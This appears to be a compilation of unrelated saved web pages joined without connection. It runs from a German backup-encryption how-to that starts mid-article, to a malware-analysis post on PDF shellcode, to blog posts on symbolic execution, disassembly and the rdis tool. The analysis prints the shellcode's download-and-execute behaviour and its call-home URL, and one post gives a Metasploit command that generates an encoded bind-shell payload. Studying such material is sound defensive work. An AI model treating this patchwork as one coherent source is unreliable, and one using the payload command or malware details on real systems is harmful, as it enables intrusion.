### symetrisch mit GnuPG¶

Um eine verschlüsselte Backup-Datei zu erstellen, kann man das Tar-Archiv im
Skript direkt in die symmetrische Verschlüsselung von GnuPG pipen. Dazu
ersetzt man im Skript einfach die Tar-Zeile mit dieser:

[code]

    tar -cjp $SOURCE | gpg -z 0 -c > $BACKUP_DIR/backup-$DATE.tar.bz2.gpg
[/code]

Man wird beim Ausführen des Backup-Skriptes dann nach einem Passwort gefragt,
mit welchem das Backup verschlüsselt wird. Dadurch erhält man dann zum
Beispiel eine Datei **backup-2007-11-24-170024.tar.bz2.gpg**. Diese
entschlüsselt man wieder mit dem Befehl:

[code]

    gpg --output backup-2007-11-24-170024.tar.bz2 --decrypt backup-2007-11-24-170024.tar.bz2.gpg 
[/code]

Weitere Optionen zur symmetrischen Verschlüsselung von GnuPG findet man in den
Manpages von gpg.

### asymetrisch mit GnuPG¶

### Achtung\!

Es macht keinen Sinn, auf diese Weise auch die GnuPG-Schlüssel zu sichern. Im
Falle eines Datenverlusts wird zum zurückspielen \(bzw. entschlüsseln\) des
Backups der eigene GnuPG-Schlüssel benötigt. Wenn man seine GnuPG-Schlüssel
sichern möchte sollte man also eine symetrische Verschlüsselung wählen.

Wer einen GnuPG-Schlüssel hat, kann das Backup mit dem eigenen öffentlichen
Schlüssel verschlüsseln. Dann ist im Vergleich zur symetrischen Methode zum
erstellen des Backups keine Passworteingabe nötig. Die tar- Zeile im Skript
lautet dafür:

[code]

    tar -cjp $SOURCE | gpg -z 0 --encrypt -r DEINE_SCHLÜSSEL_KENNUNG > $BACKUP_DIR/backup-$DATE.tar.bz2.gpg
[/code]

Wobei die Schlüssel-Kennung zum Beispiel in Form der Email-Adresse eingegeben
werden kann.

## tar: Entferne führende „/“ von Elementnamen¶

Wenn diese Meldung erscheint, bedeutet es, dass man mit absoluten Pfadnamen
arbeitet, wie zB **/etc** , **/usr/share** aber auch die $HOME-Variable ist
ein absoluter Pfad. Tar liefet eine Meldung diesbezüglich, weil es bei
absoluten Pfaden passieren kann, dass beim Entpacken des Backups automatisch
die alten Ordner überschrieben werden, was nicht immer gewünscht ist. Um diese
Meldung zu entfernen, verwendet man relative Pfadnamen also **etc** und
**usr/share** und benutzt anstatt $HOME eine eigene Variable
`HOMEPATH="home/$USER"`. Vor dem Ausführen von Tar in dem Skript muss man
jetzt noch, damit die Ordner gefunden werden, ins Root-Verzeichnis wechseln
mit `cd /`. Ein Skript, welches diese Warnung nicht bringt, könnte zum
Beispiel so aussehen:

[code]

    #!/bin/bash
    DATE=$(date +%Y-%m-%d-%H%M%S)
    
    BACKUP_DIR="mnt/backup"
    
    HOMEPATH="home/$USER"
    
    SOURCE="$HOMEPATH/bin $HOMEPATH/.gaim "
    
    cd /
    tar -cjpf $BACKUP_DIR/backup-$DATE.tar.bz2 $SOURCE
[/code]

* * *
  

# Analyzing PDF Malware - Part 2 - SpiderLabs Anterior

**Created:**| _1/9/2012 3:07:22 PM_  
---|---  
**Updated:**| _1/9/2012 3:07:22 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

### Analyzing PDF Malware - Part 2

**Where were we?**

As the title states, this is the second part of Analyzing PDF Malware. If you
haven’t read the first part you can find it here. Go ahead and read it now if
you haven’t already, we’ll wait.

…

In Part 1 we identified JavaScript embedded within our suspect file
‘sample1.pdf’. We analyzed that code and discovered that the output was more
JavaScript, a second stage. Once we cleaned up the code of the second stage it
was easy to recognize the specific attacks being used by identifying well
known exploited function calls to Collab.collectEmailInfo\(CVE-2007-5659\),
util.printf\(CVE-2008-2992\), Collab.getIcon\(CVE-2007-5659\), and
media.newPlayer\(CVE-2007-5659\).

Our suspicions have been confirmed. We know that our sample contains malicious
code. So what is the next step? In some cases, just knowing that the file is
“bad” can be the endgame of the analysis. However, in other situations we may
want to dig even deeper. What if one or more of the exploits we identified was
successful in executing on the target system? How was the system affected?
Does it cripple the device, install additional software, or steal passwords?
The more succinct question is: “What is the payload of the attack?”

To find out the answer to that question we will use a blend of both static and
dynamic methodologies to dig into the sample and analyze exactly what is
happening under the hood of this PDF malware, step-by-step.

The Game Plan:

  1. Study JavaScript to identify payload 
  2. Identify and isolate shellcode within payload
  3. Analyze shellcode to determine its capabilities 

**Combing the Desert**

So let’s jump right in. Where should we start looking for our payload? Hmmm, I
don’t know about you, but this line sure seems to stand out to me and may be
worth some further investigation:

<img src='img/Temp2_686.png' alt='Payload' />  

Yes, the variable “payload” is actually in the second stage JavaScript even
prior to our cleanup of the code. Why would someone who is trying to hide the
true nature of his or her malware be so obvious with a variable name? More
than likely the author was confident enough in the preceding layers of
obfuscation that by this point in the game they weren’t concerned with hiding
the meaning of every variable name. This definitely makes things easier for
our purposes. As the function\(void\) says, “No arguments here.” :\) Sorry,
bad joke, I couldn’t resist.

We have already ‘beautified’ our second stage JavaScript by adding some
meaningful variable names and proper spacing to make it more readable for
analysis \(see full listing below\), but I wanted to backtrack a bit and point
out that the original code was fairly informative prior to the cleanup. That
being said, we shouldn’t just accept a variable name to be accurately self-
describing; this is _malware_ after all. Instead, we will confirm that
‘payload’ is indeed a payload and not some sort of red herring. If we continue
by looking at our seemingly obvious lines of JavaScript, we see that the
‘payload’ variable is assigned the unescaped value of ‘bjsg’. We find a
similar line of code in all four of our identified exploits:

jsdecode\_stage2.js:16: var payload = unescape\(bjsg\);
jsdecode\_stage2.js:37: var payload = unescape\(bjsg\);
jsdecode\_stage2.js:61: var payload = unescape\(bjsg\);
jsdecode\_stage2.js:104: var e = unescape\(bjsg\);

This makes sense as each exploit would need a payload, and it appears that all
of them are using the same one. The ‘bjsg’ variable being assigned to
‘payload’ is a long string \(1062-bytes total\) of four hexadecimal characters
delimited by ‘%u’.

<img src='img/Temp2_694.png' alt='Shellcode' />

This is a common way to encode binary data into a string \(USC2/UTF-16\) and
it immediately seems like a good shellcode candidate. Before we get too
excited, let’s look a little closer and make sure our assumption makes sense.
The first few bytes are 0x9090, which is the Intel x86 opcode for NOP \(**N**
o **O** peration **P** erformed\). It is common for shellcode to be preceded
by NOPs. This provides the attack code a little padding so that the exploit
only needs to get close to the memory location of the shellcode for it to be
sucessful. This is commonly known as a NOP sled. So far, so good. The next
non-NOP instruction we see is 0x16EB which if represented as little-endian
machine code it would be the equivalent of a relative short jump \(JMP\) call.
Again this would make sense in the context of shellcode. Since all of the
puzzle pieces seem to be lining up just right, we will go ahead and rename
‘bjsg’ to ‘shellcode’:

<img src='img/Temp2_691.png' alt='Jsdecode_stage2_js_cleaned' />\*Second Stage
JavaScript - Full Listing

**2-byte Monte**

Now that we have our shellcode payload, let’s begin to dissect it to find out
how it does what it does. The first thing we need to do is convert it from its
current printable form into something more suitable for analysis.

We left off Part 1 of this blog post with our second stage JavaScript loaded
up in the analysis tool Malzilla. Since we’re already setup, let’s continue
with that tool for now. Copy the value of our shellcode into the ‘MiscDecoder’
tab.

<img src='img/Temp2_690.png' alt='Malzilla_shellcode_decode1' />

Selecting the “UCS2 to Hex” button will give us our little-endian hexadecimal
byte representation of the shellcode.

<img src='img/Temp2_696.png' alt='Malzilla_shellcode_decode2' />

Selecting “Hex to File” will save off our file to disk as a much more useable
‘.bin’ file.

**Plumbing Rabbit Holes**

Now we come to a fork in the analysis and need to choose what we want to do
next from a list of options. We can take our newly created ‘.bin’ and
disassemble it to study it statically, we can execute our code dynamically in
an emulator, or wrap it in an executable shell to debug the code step-by-step
in a debugger. My vote is to start with the easiest of the bunch, emulated
execution, and see if we can get a quick win. I’m guessing you agree.

Libemu is a C based x86 emulator used for the detection of shellcode among
other things. It’s a great tool, but it’s not fail-proof. Included with the
libemu test suite is a tool called sctest. Its authors describe the sctest
tool as the following:

“…a useful source for those who want to setup shellcode emulation allowing
win32 api calls and offering hooks on these calls.”

With a description like that, this tool is definitely made-to-order for our
task. If you don’t want to bother with installing it yourself, sctest comes
pre-compiled along with a collection of other great tools on Lenny Zeltser’s
REMnux linux distro. A brand new version, REMnux 3, was just made available
for download in mid-December 2011.

Running sctest to emulate our hexfile.bin we can attempt to hook the Win32 API
calls being made by the malware in an effort to see if they reveal any juicy
bits of info:

<img src='img/Temp2_695.png' alt='Sctest' />

From a snippet of the very verbose sctest output shown above, we discover that
LoadLibrary is being used to first load the urlmon library. We also discover
that the URLDownloadToCacheFile function of urlmon.dll is specifically being
called. According to Microsoft’s MSDN documentation, this function “downloads
data to the Internet cache and returns the file name of the cache location for
retrieving the bits“. This is a huge clue as to what the malware is attempting
to do on the victim system. It doesn’t answer all of our questions but it
gives us some good indications for now. Specifically, it appears that we are
dealing with the “download and execute” class of shellcode.

So a file is being downloaded, but where is the file coming from? Where does
the malware call home? Maybe we will get lucky and find an IP address or URL
that the shellcode is attempting to contact by running strings against the
file:

<img src='img/Temp2_685.png' alt='Strings' />

No dice. I guess we’re not going to get that lucky with this sample. No
meaningful clear text strings in the file at all. It was worth a shot. Before
moving on, there is one other bit of sctest functionality worth mentioning.
Issuing commands like the following will create a nice instruction call graph
of our shellcode:

$ sctest -Ss 1000000000 -G shellcode\_graph.dot < hexfile.bin  
$ dot -T png -o shellcode\_graph.png shellcode\_graph.dot

  
<img src='img/Temp2_688.png' alt='Shellcode Instruction Call Graph' />

\*click to enlarge graph

Who doesn’t like a nice graph? This is more than just nerd art though; we can
use it to quickly see conditional branching and looping structures before
looking at a single assembly code operation. For example, if we zoom in and
look at the first loop at memory location 0x00417015 we see something
interesting:

<img src='img/Temp2_689.png' alt='Call Graph Loop' />

Ok, maybe it’s not _that_ interesting yet, but the graph gives us a place to
start investigating. To get to the interesting stuff we need to see what is
actually going on in the code at those locations, and to do that we need to
get a disassembly of our shellcode. There are many ways to do this, but I
recently came across a standalone tool for Windows written by Alain Rioux
called ConvertShellcode.exe. You can paste in escaped shellcode on the command
line as an argument and get your dead listing of the assembly code.

<img src='img/Temp2_692.png' alt='Deadlisting' />

Now, if we investigate those four instructions from our call graph that we
were interested in, we can finally see what is going on in that loop.

<img src='img/Temp2_684.png' alt='Xor_loop' />

The loop is reading a byte of shellcode, applying an XOR mask, writing the new
result back, and repeating. This is what’s known as a staged XOR loader. The
first stage of the shellcode is just enough to load this loop, leaving the
remaining shellcode obfuscated. The second stage is then loaded at run time
after the code modifies itself by applying the XOR key \(0x19\). This is one
of the simple ways that malware authors use to complicate the analysis of
static code.

Armed with this newfound information, let’s confirm what we know by running
Didier Steven’s XORSearch tool against the shellcode and see if that uncovers
anything. XORSearch will brute force XOR, ROL, and ROT encodings looking for
the string or a file of strings you provide. Case does matter with this type
of searching, so keep that in mind or you may get confusing results.

<img src='img/Temp2_687.png' alt='XORSearch' />

We finally get a hit on the search for “http”. This gives us confirmation that
the XOR key being used to encode the shellcode is 0x19 and it also gives us an
interesting URL: hxxp://shoppingmaddness.com/d.php?f=24&e=5. This is likely
the answer to the question about where the malware is attempting to download a
file.

**Let’s Sum Up**

So far we’ve analyzed the final stage of JavaScript that we extracted from the
sample1.pdf, and successfully located the payload. We discovered through
investigation that each of the four exploits were all using the same
shellcode. We emulated the shellcode using libemu to discover the Win32 API
calls being made by the malware. This allowed us to classify the shellcode as
“download and execute”. We then created an instruction call graph to quickly
identify interesting structures and disassembled the code to analyze a
particular loop of assembly code. The loop turned out to be a staged XOR
loader. To confirm our suspected key we brute forced the XOR obfuscation and
got our confirmation along with the added benefit of the revelation of a very
interesting URL string. <img src='img/Temp2_693.png' alt='Attack_flow2_white'
/>

In the next part of this series we will decode the second stage shellcode and
load it into our favorite disassembler. We will trace through the functions
and fully map the code. We will also investigate the URL we discovered and see
what sort of things that might get us tangled up with.

**Stay tuned…**

Tools used:

  * ConvertShellcode.exe \- Converts shellcode strings into x86 assembly instructions
  * Malzilla \- Malware hunting tool
  * XORSearch \- Tool to search in an XOR, ROL or ROT encoded binary file
  * Libemu \- x86 Shellcode Emulation
  * Graphviz \- Open Source graph visualization software
  * REMnux - A Linux Distribution for Reverse-Engineering Malware

Posted by Ryan Merritt on Friday, 06 January 2012 at 07:33 AM in Incident
Response, Malware, Security Re

# Simple Symbolic Execution Engine Validation in Concrete Environments

**Created:**| _2/18/2013 2:43:56 PM_  
---|---  
**Updated:**| _2/18/2013 2:43:56 PM_  
**Author:**| __  
**Tags:**| _research papers reversing_  
  

# **S** imple Symbolic Execution Engine Validation in Concrete
Environments****

###  Abstract****

To simplify analysis and implementation, host symbolic execution engines
operate on a simple, RISC-like Intermediate Representation**.** Target
assembly language is translated into this IR, forcing the translation to
capture the full semantics of the host assembly language**.** To provide
simple testing of this translation process, rnp\_see forks a test executable,
breaks at the entry address, and loads the executable into the symbolic
execution engine**.** It then steps through the binary running in the target
environment as well as in the symbolic execution engine**.** By comparing the
General Purpose Registers at each step, rnp\_see can quickly identify bugs and
ensure a certain level of accuracy in the translation**.**

###  Preparing for validation****

Rnp\_see consists of multiple parts, one of which is a _loader_**.** The
original loader for rnp\_see, given a 64-bit ELF binary for linux, created,
from scratch, a 64-bit linux userland environment for the VM**.** I recently
wrote an additional loader, currently named Lx86, which loads the executable,
breaks at the entry point, and then context switches from native execution to
execution within rnp\_see**.** This is done by instantiating Lx86 and passing
it to the VM at instantiation time**.** Lx86 has the same functionality
outlined in my previous post for the Elf loader, which both now inherit from
an abstract virtual class simply named Loader**.**  
  
By adding two additional methods to Lx86, Lx86 gains the functionality to
single step through the loaded executable and dump the general purpose
registers**.** This functionality is used to compare the program running in
the native environment against the program running in the rnp\_see
environment**.**

###  Stepping through the program****

After loading, the program is stepped through in both rnp\_see and the native
environment, printing both native instructions and IR instructions**.** At
each step, the GPRs are fetched and compared**.** If the GPRs diverge at any
step, execution is halted and all GPRs are displayed with diverging GPRs
highlighted**.** If GPRs diverge, the problem can be quickly identified from
the given output, fixed, and validation rerun to discover more bugs**.**  
  
During testing, I used csmith , a tool designed to create random C code to
test for compiler bugs**.** Symbolic execution is inherently slower than
native execution, and csmith programs take many instructions to run**.** To
speed up testing, once diverging registers were identified the validator would
always be restarted on the instruction immediately proceeding the bug**.**
This allowed for rnp\_see execution to begin at the problem area, bypassing
the slow process of translating and executing the previous instructions, and
quickly identifing whether the bug was solved**.**  
  
**System Calls**  
  
In the x86-64 calling convention used by linux, not all registers must be
preserved across function calls**.** This includes system calls**.** Recalling
that rnp\_see emulates kernel functionality, several registers would diverge
across system calls, even if the system call was producing good results**.**
To fix this problem during validation, rnp\_see system calls were forced to
return the same values in trashed registers as were returned in native
execution**.** Fortunately, the values returned were deterministic and this
fix worked**.**  
**PTRACE\_SINGLESTEP****Problems**  
  
For unknown reasons, PTRACE\_SINGLESTEP in Ubuntu 12**.** 04 running inside
VirtualBox would occassionally step two instructions instead of one**.** This
would cause the validator to throw errors for diverging instructions**.** To
solve this problem, the values of the instruction pointers are compared at
each step before the rest of the registers**.** If the instruction pointers
diverge, rnp\_see is given one more step to catch up with native
execution**.** In some very weird cases, such as an instruction sequence:  
`jcc 0x1`  
`nop`  
  
This may incorrectly show identical behavior between rnp\_see and native
execution**.**

###  Methodology Problems****

This method of validating rnp\_see is not comprehensive**.** It tests only the
instruction instances encountered in the test cases, and only their effects on
GPRs**.** Other methods, such as Microsft RiSE's Automated Synthesis of
Symbolic Instruction Encodings from I/O Samples  ensure greater accuracy in
the translation**.** For example, this method may not catch errors in
ScaleIndexBase calculations for memory operands**.**

###  Results****

Despite the lack of comprehensiveness, this method proved quick to implement
and accurate enough to allow rnp\_see to begin passing its test cases in
concrete execution**.** I recommend this as a first step to insure some level
of accuracy to those who are writing their own symbolic execution engines from
scratch**.**

Posted 10th July 2012 by rednovae

0

###  Add a comment****

  1. I wrote previously about how control flow graphs should show the evolution of a program over time**.** I've since begun hacking out an x86 emulator and including it in rdis in order to illustrate the point**.**  
  
The following graph may be a bit buggy \(I literally just wrote the code\),
but I believe it does a decent job of illustrating what I believe CFGs should
look like**.** Compare a naive disassembly of a shikata\_ga\_nai encoded linux
x86 bind\_shell, and the following \(perhaps incomplete\) emulated disassembly
of the same program:

<img src='img/Temp2_7524.png' />

Posted 7 hours ago by rednovae

0

###  Add a comment****

  2. If you didn't know, I've spent some time recently writing a disassembler  and thinking about disassembly **.** I'm going to outline some of my thoughts on where I think disassembly needs to go**.** There are gaps in this post. Consider it food for thought**.**  
  
We currently have two methods for disassembling programs. We have linear/sweep
disassembly, where bytes are disassembled immediately following one
another**.** We also have recursive disassembly, where we look at each
instruction to determine its successors**.** The problem with both of these
methods is we're not treating instructions like data**.**  
  
We need to treat disassembly as a state-ful experience**.** We are analyzing a
living, breathing program, not a static, ordered series of numbers**.** We
need to treat disassembly as a product of data-flow analysis**.** By adding
additional intelligence to our disassembly process, and changing our
expectations of what a disassembly tool should give us, we will get more
meaningful data, I mean code, well, same thing**.**  
  
We need to emulate \(perhaps symbolically\) our program's behavior during
runtime**.** During this analysis, instead of saving the values possible at
various portions of our program's execution we should be saving the statements
to be executed**.** This is the data which belongs in our control-flow
graphs**.**  
  
Take a look at a shikata\_ga\_nai encoded x86 linux bind\_tcp payload from
metasploit  
  
**.** /msfpayload linux/x86/shell/bind\_tcp R | \  
**.** /msfencode -e x86/shikata\_ga\_nai -t elf > /tmp/payload  
  
When I graph this executable in rdis, I get the following:

Wow, this isn't even remotely correct**.** These are not the instructions that
will be interpreted by our CPU**.** This is not the program contained in my
/tmp/payload executable**.** These are just the bytes that were present at the
time we conducted recursive disassembly**.** Programs are composed of data.
They are state-ful**.** This graph isn't very helpful.  
  
It's state-less**.**  
  
We should think of our CFGs as a journey through the execution of our
program**.** At each stop in our journey we extract one specific piece of
information, the statement to be executed, and we save it in a graph**.**  
  
_Caveat: There's an obvious problem with this approach**.** If we attempt to
perfectly disassemble our programs in this manner we may encounter \(possibly
maliciously induced\) explosive growth in our CFG, making this problem
infeasible for machines with finite memory**.** In all practicality, we may
consider this approach impossible to implement perfectly**.** We will need to
apply heuristics and accept imperfect results**.**_  
  
I propose we begin disassembling our programs in environments which allow us
to treat our code as data**.** We should emulate our programs in limited
environments and, as we continue through our program's execution, extract the
instructions to be executed**.** This is what we should be viewing in our
CFGs.  
  
How should we display these CFGs**?** What happens when the data composing our
code does change**?** Should we go back in time and edit our CFG, or disregard
the old data**?** I have some thoughts.  
  
An instruction should contain two pieces of information: data and
location**.** When added to our CFG, our CFG should track, "time," or
state**.**  
  
Let's start with a simple program, a loop with a conditional branch contained
within**.**  
  
  
During our analysis of this program, we discover that the code in \[D\] is
polymorphic**.** At some point in our execution, an instruction in \[D\]
changes**.** We will now show our CFG with stateful information**.**

Here we have \[D\] -> \[F\], which represents \[D\] in one state, \{0\}**.**
We also have \[G\], which represents the altered state of \[D\]**.** These
nodes are stateful. Let's say \[G\]'s successor is \[A\]. How would I display
this CFG**?**

Because the location and data of \[A\] has not changed, \[G\]'s successor
\[A\] remains the original \[A\]**.** \[A\] now includes the data that exists
in both state \{0\} of our program, as well as state \{1\}**.**  
  
As we continue to analyze this function, we discover that the only reachable
portions of our CFG in \{1\} are \[A\] -> \[B\], \[B\] -> \[D\], \[D\] ->
\[G\] and \[G\] -> \[A\]**.**

This is the information I want to see when analyzing a program**.** I want my
program interpreted as data, and the state of the program displayed in a
visual manner**.**

I'll conclude this post for now, with more to follow at a later date**.**

Posted 4 days ago by rednovae

0

###  Add a comment****

  3. I'm going to publicly announce what I have believed since I was first taught The Halting Problem: It's frigging stupid**.**  
  
Here's what the halting problem states: It is impossible to write a program
for a machine, which, given any one of an _infinite_ number of programs, will
determine whether the input program will cause the machine to reach a pre-
designated state**.**  
  
Here's what the halting problem does not state: It is impossible to write a
program for a machine, which, given any of a _finite_ number of programs, will
determine whether the input program will cause the machine to reach a pre-
designated state**.**  
  
Why does this matter**?** Because every machine in physical existence has a
_finite_ number of possible programs. When someone tells me, "You can't do X
because of the halting problem," I cringe, deep down inside**.** A tiny piece
my very being's fabric dies a slow and painful death**.**  
  
Allow me to strip away the goop and unnecessary crap from the halting problem
and rephrase it as the following:  
  
_" It is impossible to compute for infinite data, duh**.** "_  
The duh is important**.** If I ask you to sum together an infinite set of
data, can you do it**?** No**.** See how easy that was to understand?
Undergraduates can learn and grasp that concept in a matter of minutes, nay,
seconds even**\!** They can then move on towards more useful concepts, such as
Data-Flow Analysis**.**  
  
Allow me to supplement the above with the following helpful information:  
  
_" It is theoretically possible to compute for the data contained in your
Desktop, but the complexity requirements explode exponentially**.** Use
heuristics and understand you're receiving incomplete results**.** "_  
This is the relevant statement to program analysis as we perform it today**.**
It's a search over a finite number of states.

Posted 3 weeks ago by rednovae

6

###  View comments****

  4. ##  Forward****
Not surprisingly, I spend a lot of time writing code**.** Perhaps
surprisingly, I spend at least an equal amount of time thinking about the code
I write**.** Sometimes, while thinking about code, I have moments of
realization and enlightenment**.** Things click. Occasionally, during these
moments of enlightenment, I start writing them down in a blog post**.** I
rarely make my way through the blog post to completion**.** Once in a blue
moon, I hit submit. The post Thoughts on Instructions  was one of these blue
moon moments**.**  
  
I am lucky to have a single individual who occasionally ventures to my blog
and reads my post**.** After reading Thoughts on Instructions, he politely
told me, "What the hell are you talking about dude**?** You're making little
sense." I'm paraphrasing here, but the point stands.  
  
This is an attempt to rephrase parts of Thoughts on Instructions**.**  
  
Please do not confuse the words "incorrect" with "not useful"**.** A technique
can be useful and bring a wealth of value, yet still be incorrect**.**

##  Code is Data****

To simplify our understanding of systems which operate over instructions, we
logically categorize values into two groups, code and data**.** However "code"
is just an artificial label we apply to a subset of these values**.** In the
end, code is just values interpreted by a machine, and at the level these
values are interpreted at they should be recognized as data**.**  
  
In other words, code is data which can be interpreted by a machine**.** This
is something we should all be familiar with.  
  
I am reminded of a statement I heard from Sergey Bratus at this previous
defcon during the Programming Weird Machines with ELF Metadata talk**.** I
will have to paraphrase, but Sergey stated that ROP chains should be thought
of as instructions utilizing the gadgets as a VM**.** He is right on. When we
think about our rop chains at this level of abstraction, those return
addresses become instructions for our machine, and we can label the chain
itself as code**.**  
  
To re-reiterate "code" is just a label we apply to data to simplify our
understanding of how this data will be used**.**

##  There is no code. It's data all the way down****

Let's start drawing some conclusions**.**  
  
Control-Flow Analysis can be thought of as Data-Flow Analysis for the machine
which interprets the "code"**.** We are determining the different values that
may be present in the machine which interprets our "code"**.** For example,
when we encounter a conditional jump, our machine's value which holds the next
instruction \(think a CPUs internal store of the memory fetched from what the
instruction pointer points to\) can hold a range of values, values that we may
label as code**.**  
  
If this example is a bit too far-fetched for you, consider performing data-
flow analysis on a bytecode VM**.** What's the data? It's your "code".  
  
Because code is merely a label attached to data interpreted by some sort of
machine, the only requirements for programming are:

    1. A machine that accepts data and updates some sort of state**.**
    2. A method of providing the machine with data**.**
This is why the Defcon talk, Programming Weird Machines with ELF Metadata, was
interesting**.** We have taken a machine, the linux loading process, supplied
it with specially crafted data, and we have created a program**.**

The concept should not be new to security researchers**.**

**Method**| **Data**| **Machine**  
---|---|---  
ROP| Crafted stack frames| Gadgets  
SQLI| Unsanitized User Input| SQL Engine  
Classic "Buffer Overflow"| Oversized user input| Native CPU  
XSS| Attacker-crafted dhtml/script| Web Browser  
It's no surprise that the majority of defenses/mitigations deal with either
attempting to separate data from code \(parameterized queries\), or
restricting data from being executed by a machine \(W/X memory
protections\)**.** It's also no surprise that attackers continue to find new
machines \(have you HEARD of css injects**\!****?**\), ways to have their data
interpreted regardless \(these XSS cheatsheets are getting ridiculous\), or a
combination of the two \(ROP chain to mprotect\)**.**

##  Control-Flow Analysis is useful****

As reverse-engineers, we need to make sense of data**.** A large part of this
process is the labeling of data as code**.** In binary analysis, we call this
process "disassembling**.** " Linear, or sweep, disassembly is the process of
labeling contiguous blocks of data as code**.** Recursive disassembly is the
process of analyzing disassembled data to discover more data to
disassemble**.** Recursive disassembly is control-flow analysis.  
  
While not correct, the assumption that code will not change greatly simplifies
its analysis and aids in our ability to understand it**.** Therefor, I'm going
to make the statement that Control-Flow Analysis is "stateless"**.** The
analysis is conducted irrespective of state. This may seem a bit off, as code
is data and does have state, but if we are going to visualize code we need to
make some assumptions**.**  
  
Data-Flow Analysis is "state-ful" in that it cannot be done irregardless of
state**.** In fact it's the study of how state changes over time**.**

##  Final thoughts****

     * Control-Flow Analysis should be conducted at least each time the state involved in its original analysis changes**.**
     * Reflecting the results of Data-Flow Analysis back into Control-Flow Analysis is incorrect, as it requires using information from the "future" to make decisions about the "present"**.** It's an unhealthy mixing of stateless and state-ful information**.**
     * We should be searching for new machines that can accept data and update state**.**
I'll buy a beer for the first person who writes a compiler to network packets,
using a remote machine's TCP/IP stack as a machine to run a program**.**

Posted 3 weeks ago by rednovae

0

###  Add a comment****

  5. As the interested few wishing to hack on rdis begin to trickle in, I believe a basic orientation to the source is due**.** This walkthrough is not comprehensive, but should be enough to get you on the right track**.**  
  
I will continue to update this post as more questions about rdis internals
arise**.**  
  
**Last Update: 20 JAN 2013**

###  Contributing to rdis****

The rdis source can be found here: https://github.com/endeav0r/rdis  
  
I ask that you please fork the repo on github and submit a pull request**.**
Don't email me patches unless they are trivially minor**.** Pull requests are
always preferred.  
  
Development discussion for \#rdis takes place in irc.freenode.net\#rdis **.**
If you plan on contributing, please join us in \#rdis and let me know**.**  
  
I don't have an issue with large pull requests, but it will be helpful if you
let me know what's coming and what's being changed**.**

###  The Object/Container Model****

Almost everything in rdis is an object**.** We define an object as a struct
which begins to a pointer to a vtable of type struct \_object**.** The use of
rdis's object model may seem cumbersome and/or annoying at first, but once you
get used to it you will find \(hopefully\) you're writing safer code
faster**.** Here's struct \_object:  
  
struct \_object \{  
void \(\* delete\) \(void \*\);  
void \* \(\* copy\) \(void \*\);  
int \(\* cmp\) \(void \*, void \*\);  
void \(\* merge\) \(void \*, void \*\);  
json\_t \* \(\* serialize\) \(void \*\);  
\};  
  
For example, let's take a look at the \_queue struct:

struct \_queue \{

const struct \_object \* object;

size\_t size;

struct \_queue\_it \* front;

struct \_queue\_it \* back;

The vtable for queue looks as follows:  
  
static const struct \_object queue\_object = \{  
\(void \(\*\) \(void \*\)\) queue\_delete,  
\(void \* \(\*\) \(void \*\)\) queue\_copy,  
NULL,  
NULL,  
NULL  
\};  
  
Every object should include, at a minimum, both delete and copy**.** This is
because objects copy objects. They do this by calling object\_copy, which can
be found in object**.** h  
  
\#define object\_copy\(XYX\) \  
\(\(struct \_object\_header \*\) XYX\)->object->copy\(XYX\)  
  
The general-purpose containers available in rdis are:

     * \_graph - A directed graph \(delete/copy/cmp/merge/serialize\) ; merge only required of graph\_merge\(\) is called
     * \_list - A doubly-linked list \(delete/copy/serialize\)
     * \_map - A mapping of uint64\_t to objects \(delete/copy/serialize\)
     * \_queue - A simple queue \(delete/copy\)
     * \_tree - A self-balancing tree \(delete/copy/serialize\)
list, graph, map and tree all have iterators**.** Lists can be modified with
their iterators by calling list\_remove\(\)**.** Graphs, maps and tree can NOT
be modified during iteration**.** Add the objects you want to delete to a
queue and delete them post iteration**.** The \_index object is also good for
this purpose.  
  
The objects used internally by containers are to be modified only by their
respective container calls**.** I will not accept code that does otherwise. I
have attempted to break this rule several times myself, specifically with
graph edges**.** It has always ended in disaster.  
  
As stated above, if you pass an object to another object, and the object needs
to keep that data, it will call object\_copy\(\)**.** If you fetch data from
an object, it returns a pointer to that object, NOT a copy**.**  
  
The other objects available are:

     * \_buffer - A simple, dumb buffer of memory**.**
     * \_function - Self-explanatory.
     * \_index - Wraps uint64\_t in an object so it can be used in containers**.**
     * \_instruction - Self-explanatory.
     * \_label - Contains an address, string and label type \(IE: LABEL\_FUNCTION\)
     * \_rdstring - An object containing a string**.** Use of char \* strings is preferred.
     * \_reference - Information about a data reference from an instruction**.**
There are a few special combination of data structures used in rdis:

     * Loader Graph - A graph of lists of instructions**.**
     * Function Map - A map of addresses to functions**.**
     * Label Map - A map of addresses to labels**.**
     * Memory Map - A map of buffers.
Code that works on these special combinations of data structures does NOT
belong in the respective container classes**.** The code can be stored either
where needed, or in util**.** c**.**

###  The loading process****

Loaders are a special type of object with additional methods**.** The loader
object vtable layout can be found in loader/loader**.** h . The steps to load
a file are as follows:

    1. Call loader\_create\(const char \* filename\)
    2. loader\_create\(\) will call the create method of implemented loaders**.** Loaders return a pointer to a valid loader object if they match the executable, or NULL otherwise**.**
    3. Supposing a valid loader was returned by loader\_create\(\), we call loader\_memory\_map\(\) to grab the memory map from the loader**.**
    4. Using this memory map, we call loader\_functions\(\) to receive the function map**.**
    5. We pass the memory map and function map back to the loader in loader\_graph\_functions\(\), which recursively disassembles each function**.**
    6. Finally, we pass the memory map and functions to loader\_labels\_functions\(\) to label our functions, and retrieve any other labels in the binary**.**
The loaders are designed to disassemble based of state, not the data in the
executable file**.** This is why we continue to pass the memory map back to
loader functions**.** This is important when we write disassembler lua scripts
for rdis, as state changes while the executable file remains the same**.**

###  Rdis callbacks****

The state of rdis as a whole is contained in the \_rdis\_t object**.**
Different objects can register callbacks to the rdis\_t object, and they are
called when different actions in rdis take place**.** This is how we update
the rdis gui. Generally-speaking, callbacks should not trigger actions that
further modify rdis state**.**

Each callback is identified by a unique uint64\_t identifier**.** The object
that creates the callback should keep this identifier so that it may remove
itself from the callbacks when deleted**.**

###  Lua Scripting****

There are a few things to remember when writing code that allows lua scripts
to interface with rdis objects**.**

     * Lua objects are always copies of rdis\_t objects**.** They never contain pointers to objects stored externally to their independent lua instance**.**
     * The lua VM is recreated everytime rdis loads a new executable is loaded from outside of lua**.** When a lua script loads an executable, the lua state is not recreated**.**
###  Rdis GUI****

The \_gui struct keeps track of everything happening in the rdis gui**.**
Because the gui is not an rdis object, I'm going to refer to it simply as,
"The gui**.** " All windows should be launched by calling their respective
function over the gui, for example gui\_funcwindow\(\)**.**

Rdg stands for Rdis Display Graph, and is an object which turns loader graphs
into cairo surfaces**.** You don't work with rdg directly, just launch rdg
windows with gui\_rdgwindow\(\)

Posted 4 weeks ago by rednovae
